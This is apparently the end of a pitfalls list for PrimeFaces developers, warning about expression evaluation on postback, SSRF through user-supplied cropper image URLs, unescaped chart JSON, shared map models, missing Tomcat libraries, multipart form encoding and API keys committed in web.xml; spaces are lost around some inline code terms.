#{bean.image(id)}fails; use a property andf:param, orstream="false". -
A cropper
imageexpression that only works in the render request. It is evaluated again in the postback. -
imagebuilt from user input inp:imageCropper. The server fetcheshttpURLs: SSRF. -
Putting text from users into
p:chartJSON without escaping<. Script injection; escape and use a CSP. -
A shared map model. Marker drags change the model; keep it per view or per user.
-
Drag and drop as the only way. Provide a button for the same action.
-
Missing libraries on Tomcat.
jakarta.xml.bind-apiforp:photoCam, a detector for the content check. -
Forgetting
enctype="multipart/form-data"on a simple-mode form. The file never arrives. -
Keys in
web.xmlin the repository (primefaces.virusscan.VIRUSTOTAL_KEY, a Maps key): read them from the environment or a secret store.